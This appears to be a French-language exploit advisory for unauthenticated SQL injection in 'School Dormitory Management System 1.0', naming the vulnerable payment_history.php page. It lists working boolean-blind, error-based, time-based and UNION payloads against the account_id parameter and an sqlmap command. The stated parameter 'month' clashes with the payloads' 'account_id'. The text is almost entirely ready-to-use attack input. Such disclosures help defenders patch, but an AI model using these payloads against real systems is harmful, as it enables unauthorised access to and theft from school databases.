
Système de gestion de dortoir scolaire 1.0 - Injection SQL non authentifiée
Système de gestion des dortoirs scolaires 1.0 - Injection SQL non authentifiée
[#] Emplacement de la vulnérabilité :
$_GET['month'] dans /dms/admin/accounts/payment_history.php:31
Paramètre : account_id (GET)
Type : aveugle booléen
Titre : AND aveugle booléen - clause WHERE ou HAVING
Charge : account_id=2' AND 6703=6703 AND 'jmUS'='jmUS
Type : basé sur les erreurs
Titre : MySQL >= 5.0 AND basé sur les erreurs - clause WHERE, HAVING, ORDER BY ou GROUP BY (FLOOR)
Charge : account_id=2' AND (SELECT 7343 FROM(SELECT COUNT(*),CONCAT(0x71716b7671,(SELECT (ELT(7343=7343,1))),0x7170626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'htiO'='htiO
Type : aveugle temporel
Titre : MySQL >= 5.0.12 AND aveugle temporel (requête SLEEP)
Charge : account_id=2' AND (SELECT 2865 FROM (SELECT(SLEEP(5)))hWAb) AND 'pbGX'='pbGX
Type : requête UNION
Titre : requête UNION générique (NULL) - 7 colonnes
Charge : account_id=2' UNION ALL SELECT CONCAT(0x71716b7671,0x6458467273575152444c465a7a5276684f74756c7a754b6d506a6c437a5a516479574d5844694b78,0x7170626a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
[#] Exploitation avec SQLMAP :
sqlmap -u "http://localhost/dms/admin/accounts/payment_history.php?account_id=2" --dbms=mysql